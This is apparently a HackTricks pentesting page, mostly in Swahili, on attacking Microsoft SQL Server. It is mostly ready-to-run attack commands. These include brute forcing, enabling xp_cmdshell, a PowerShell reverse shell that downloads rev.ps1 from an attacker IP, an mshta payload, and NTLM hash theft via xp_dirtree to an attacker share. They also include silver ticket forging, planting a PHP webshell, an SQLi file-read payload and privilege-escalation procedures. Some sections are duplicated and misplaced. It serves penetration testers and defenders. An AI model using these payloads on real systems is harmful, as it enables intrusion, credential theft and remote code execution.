1433 - Pentesting MSSQL - Microsoft SQL Server

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Taarifa za Msingi

From wikipedia:

Microsoft SQL Server ni mfumo wa usimamizi wa relational database uliotengenezwa na Microsoft. Kama database server, ni bidhaa ya software yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyoombwa na applications zingine za software—which may run either on the same computer or on another computer across a network (including the Internet).

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Kutua kwenye Managed Database-as-a-Service (DBaaS)

Kila kitu kinachotegemea “owning the host” (kwa mfano, privilege escalation, lateral movement, na OS command execution) hakipo tena katika DBaaS. Pentesting katika mazingira haya lazima ibadilike kuelekea application-layer exploitation, data exfiltration kupitia SQL logic, misconfigured IAM roles, au poor network/VPC design. Kwa mfano, Amazon RDS documentation inaeleza wazi kwamba xp_cmdshell na sifa ya database ya TRUSTWORTHY hazitumiki.

Warning

Unapata database endpoint, si server. cloud provider anasimamia host OS, database engine binaries, na sera nyingi za usalama.

Default MS-SQL System Tables

  • master Database: Hii database ni muhimu kwa sababu inahifadhi maelezo yote ya kiwango cha mfumo kwa SQL Server instance.
  • msdb Database: SQL Server Agent hutumia database hii kusimamia scheduling ya alerts na jobs.
  • model Database: Hutumika kama blueprint kwa kila database mpya kwenye SQL Server instance, ambapo mabadiliko yoyote kama size, collation, recovery model, na mengine huakisiwa katika databases mpya zilizoundwa.
  • Resource Database: Database ya read-only inayohifadhi system objects zinazoja pamoja na SQL Server. Objekti hizi, ingawa zimehifadhiwa kimwili kwenye Resource database, huonyeshwa kimantiki katika sys schema ya kila database.
  • tempdb Database: Hutumika kama eneo la muda la kuhifadhi transient objects au intermediate result sets.

Enumeration

Automatic Enumeration

Ikiwa hujui chochote kuhusu service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

Ikiwa huna credentials unaweza kujaribu kuzig猜. Unaweza kutumia nmap au metasploit. Kuwa mwangalifu, unaweza block accounts ukishindwa kuingia mara kadhaa ukitumia username iliyopo.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

User Enumeration via RID Brute Force

Unaweza kuorodhesha watumiaji wa domain kupitia MSSQL kwa kutumia brute-forcing ya RIDs (Relative Identifiers). Mbinu hii ni muhimu unapokuwa na credentials halali lakini privileges ndogo:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

Pentesting MSSQL Microsoft SQL Server

Basic Enumeration

IMPORTANT: By default, all authentication attempts are over UDP 1434 and TCP 1433, but versions 2000 and before need only 1433, and the others may use a random port. For versions 2000 and above, the SQL Server Browser service usually listens on UDP 1434 and helps locate named instances.

You can enumerate MSSQL servers using tools such as nmap, mssqlclient.py, or sqsh.

nmap -Pn -n -sV -p1433 --script ms-sql-info <IP>
nmap -Pn -n -sV -p1433 --script ms-sql-empty-password <IP>
nmap -Pn -n -sV -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=passwords.txt <IP>
nmap -Pn -n -sV -p1433 --script ms-sql-config <IP>
nmap -Pn -n -sV -p1433 --script ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=admin,mssql.password=P@ssw0rd <IP>

To enumerate the databases and tables:

sqsh -S <IP> -U <username> -P <password>
select name from master.dbo.sysdatabases;
go
use <database>;
select * from information_schema.tables;
go

Connecting with Windows Authentication

If you have a Windows domain account, you can connect using Windows Authentication:

nmap --script ms-sql-empty-password -p 1433 <IP>
mssqlclient.py -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

Basic SQL Commands

After connecting, you can use these commands to inspect the server:

SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM sys.tables;
SELECT * FROM sys.syslogins;

Useful Commands

List configured links:

EXEC sp_linkedservers;

Check your current database and user:

SELECT DB_NAME();
SELECT USER_NAME();

Find SQL Server privileges:

SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_MEMBER('db_owner');

Enable and use xp_cmdshell if permitted:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Create a new user if you have enough privileges:

CREATE LOGIN hacker WITH PASSWORD = 'P@ssw0rd!';
CREATE USER hacker FOR LOGIN hacker;
EXEC sp_addsrvrolemember 'hacker', 'sysadmin';

Read data from a table:

SELECT * FROM users;

Export query results to a file:

EXEC xp_cmdshell 'bcp "SELECT * FROM users" queryout C:\temp\users.csv -c -t, -T -S localhost';

Checking for Weak Passwords

You can use nmap scripts to test for weak credentials or empty passwords:

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

  • --local-auth: Tumia uthibitishaji wa ndani badala ya domain
  • --rid-brute <max_rid>: Fanya brute force kwa RIDs hadi namba iliyobainishwa (default: 4000)
  • -u: Username
  • -p: Password

Mbinu hii itafanya enumeration ya users kwa kuquery MSSQL server kwa taarifa za account zinazohusiana na sequential RIDs.

Manual Enumeration

Login

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Uchanganuzi wa Kawaida

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Pata User

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Pata Permissions

  1. Securable: Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa access control. Hizi zimegawanywa katika:
  • Server – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
  • Database – Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na users.
  • Schema – Inajumuisha tables, views, procedures, functions, synonyms, n.k.
  1. Permission: Inahusishwa na SQL Server securables, permissions kama ALTER, CONTROL, na CREATE zinaweza kupewa principal. Usimamizi wa permissions hutokea katika viwango viwili:
  • Server Level kwa kutumia logins
  • Database Level kwa kutumia users
  1. Principal: Neno hili linarejelea entity ambayo inapewa permission kwa securable. Principals hasa zinajumuisha logins na database users. Udhibiti wa access kwa securables unatekelezwa kupitia granting au denying ya permissions au kwa kujumuisha logins na users katika roles zilizo na access rights.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

Execute OS Commands

Caution

Kumbuka kwamba ili uweze execute commands si tu ni muhimu kuwa na xp_cmdshell enabled, bali pia kuwa na EXECUTE permission kwenye xp_cmdshell stored procedure. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia xp_cmdshell kwa:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Ukusanya SQL kwa mbali kwa kutumia WMI (sqlcmd + CSV export)

Operators wanaweza pivot kutoka IIS/app tier hadi SQL Servers kwa kutumia WMI kuendesha batch ndogo inayofanya authentication kwa MSSQL na ku-run ad‑hoc queries, kisha ku-export matokeo kwenda CSV. Hii huifanya collection kuwa simple na kuchanganyika na admin activity.

Mfano mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Iitekeleze kwa mbali kwa kutumia WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

Mbadala wa PowerShell

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Vidokezo

  • sqlcmd huenda haipo; tumia osql, PowerShell Invoke-Sqlcmd, au one-liner kwa kutumia System.Data.SqlClient.
  • Tumia quoting kwa uangalifu; queries ndefu/complex ni rahisi zaidi kuwasilisha kupitia faili au argument iliyosimbwa kwa Base64 iliyodicode ndani ya batch/PowerShell stub.
  • Exfil CSV kupitia SMB (mfano, copy kutoka \SQLHOST\C$\Windows\Temp) au compress na isogeze kupitia C2 yako.

Pata hashed passwords

SELECT * FROM master.sys.syslogins;

Kuiba NetNTLM hash / Relay attack

Unapaswa kuanzisha SMB server ili kunasa hash inayotumika kwenye uthibitishaji (impacket-smbserver au responder kwa mfano).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha hizo MSSQL functions kwa:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Kwa kutumia tools kama responder au Inveigh inawezekana kuiba NetNTLM hash.
Unaweza kuona jinsi ya kutumia tools hizi katika:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Kutoka NetNTLMv2 capture hadi MSSQL silver ticket (PAC group injection)

  • Capture NetNTLMv2 ya akaunti ya huduma ya SQL Server kupitia xp_dirtree '\\\\<attacker_ip>\\share' kwa kutumia Responder (Hashcat mode 5600 ili crack).
  • Pata NTLM hash ya huduma kutoka kwa password iliyorecovered:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
  • Pata bytes za domain SID kwa SELECT SUSER_SID('DOMAIN\\Domain Users'); (RID = bytes 4 za mwisho, little endian). Panga/brute RIDs na nxc mssql ... --rid-brute ili kupata group inayotoa sysadmin (mfano, RID 1105).
  • Tengeneza silver ticket kwa MSSQL SPN na privileged group RID iliyodungwa kwenye PAC:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
  • Enable xp_cmdshell if needed; commands run as the SQL Server service account even when impersonating via the forged ticket.

Soma chapisho hili ili kupata taarifa zaidi kuhusu jinsi ya kunyanyasa kipengele hiki:

MSSQL AD Abuse

Linked-server credential mapping -> remote sysadmin -> OS RCE

Linked servers zinaweza kusanidiwa kwa non-self login mapping (Local Login -> Remote Login). Katika hali hiyo, login ya kiwango cha chini kwenye SQL Server ya kwanza inaweza kutekeleza queries kwenye ya pili kama mapped remote principal. Hii hufanya kazi kwa njia ile ile hata wakati linked instance iko katika domain au forest nyingine.

Kwanza enumerera links na mappings zao:

EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';

Kisha thibitisha ni akaunti gani unakuwa nayo upande wa mbali na kama ni sysadmin:

EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];

Ikiwa remote login iliyopangwa ni sysadmin, linked server inakuwa remote code execution primitive kwa sababu unaweza kusanidi upya instance ya mbali na kuendesha OS commands kama SQL Server service account:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];

Kwa kutumia impacket-mssqlclient, mtiririko huo huo kwa kawaida ni wa haraka zaidi:

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami

Ili kuboresha utekelezaji wa amri moja kuwa interactive shell, anzisha reverse shell kupitia xp_cmdshell:

xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443

Tip

Iwapo xp_cmdshell imezimwa, kosa la awali mara nyingi huthibitisha kwamba sp_configure / RECONFIGURE ndiyo njia inayokusudiwa ya kuiwasha. Pia tafuta faili za policy zilizotolewa kama Policy_Backup.inf (secedit /export output), kwa sababu zinaweza kufichua mgao wa haki za ndani (SeImpersonatePrivilege, SeDebugPrivilege, Kerberos skew, SMB signing, NTLM hardening) zinazosaidia kuchagua hatua inayofuata ya privilege-escalation mara tu unapofika kwenye SQL host.

Write Files

Ili kuandika faili kwa kutumia MSSQL, tunahitaji kuwasha Ole Automation Procedures, ambayo inahitaji admin privileges, kisha kutekeleza baadhi ya stored procedures ili kuunda faili:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Soma faili kwa kutumia OPENROWSET

Kwa chaguo-msingi, MSSQL huruhusu kusoma faili yoyote katika mfumo wa uendeshaji ambayo akaunti ina ruhusa ya kusoma. Tunaweza kutumia query ifuatayo ya SQL:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Hata hivyo, chaguo la BULK linahitaji ruhusa ya ADMINISTER BULK OPERATIONS au ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Msingi wa Error-based kwa SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Soma faili kwa kutekeleza scripts (Python and R)

MSSQL inaweza kukuruhusu kutekeleza scripts katika Python na/au R. Hizi code zitatekelezwa na mtumiaji tofauti na yule anayetumia xp_cmdshell kutekeleza commands.

Mfano wa kujaribu kutekeleza ‘R’ “Hellow World!” haukufanyi kazi:

Mfano wa kutumia python iliyosanidiwa kufanya actions kadhaa:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Soma Registry

Microsoft SQL Server hutoa multiple extended stored procedures ambazo hukuruhusu kuingiliana si tu na network bali pia na file system na hata Windows Registry:

RegularInstance-Aware
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
 
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For more examples check out the original source.

RCE with MSSQL User Defined Function - SQLHttp

Inawezekana kupakia .NET dll ndani ya MSSQL kwa kutumia custom functions. Hata hivyo, hii inahitaji dbo access hivyo unahitaji connection na database kama sa au Administrator role.

Following this link to see an example.

RCE with autoadmin_task_agents

Kulingana to this post, inawezekana pia kupakia remote dll na kufanya MSSQL iitekeleze kwa kitu kama:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Na:

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Njia nyingine za RCE

Kuna mbinu nyingine za kupata command execution, kama vile kuongeza extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, na external scripts.

MSSQL Privilege Escalation

Kutoka db_owner kwenda sysadmin

Ikiwa regular user amepewa role db_owner juu ya database inayomilikiwa na admin user (kama vile sa) na database hiyo imesanidiwa kuwa trustworthy, user huyo anaweza kutumia vibaya hizi privileges kufanya privesc kwa sababu stored procedures zilizoundwa humo zinaweza execute kama owner (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Unaweza kutumia module ya metasploit:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Au PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Kujifanya kuwa watumiaji wengine

SQL Server ina ruhusa maalum, inayoitwa IMPERSONATE, ambayo inaruhusu mtumiaji anayetekeleza kuchukua ruhusa za mtumiaji mwingine au login hadi context iresetwe au session iishe.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

Ikiwa unaweza kuigiza kama mtumiaji, hata kama si sysadmin, unapaswa kuangalia iki mtumiaji ana ufikiaji wa databases nyingine au linked servers.

Kumbuka kwamba mara tu unapokuwa sysadmin unaweza kuigiza kama mtu mwingine yeyote:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Unaweza kufanya shambulio hili kwa kutumia moduli ya metasploit:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

au kutumia script ya PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Kutumia MSSQL kwa Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Kutoa passwords kutoka SQL Server Linked Servers

Mshambuliaji anaweza kutoa passwords za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa clear text, akimpa mshambuliaji passwords zinazoweza kutumika kupata foothold kubwa zaidi kwenye lengwa. Script ya kutoa na decrypt passwords zilizohifadhiwa kwa Linked Servers inaweza kupatikana hapa

Baadhi ya mahitaji, na configurations lazima vifanywe ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye machine, au uwezo wa kusimamia SQL Server Configurations.

Baada ya kuthibitisha permissions zako, unahitaji kusanidi vitu vitatu, ambavyo ni vifuatavyo:

  1. Washa TCP/IP kwenye SQL Server instances;
  2. Ongeza parameter ya Start Up, katika kesi hii, trace flag itaongezwa, ambayo ni -T7806.
  3. Washa remote admin connection.

Ili kufanya automation ya configurations hizi, this repository ina scripts zinazohitajika. Mbali na kuwa na powershell script kwa kila hatua ya configuration, repository pia ina full script ambayo inaunganisha scripts za configuration na extraction na decryption ya passwords.

Kwa taarifa zaidi, rejelea links zifuatazo kuhusu attack hii: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

User anayeendesha MSSQL server atakuwa amewezeshwa privilege token SeImpersonatePrivilege.
Pengine utaweza kupandisha hadi Administrator ukifuata moja ya kurasa hizi 2:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

References

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
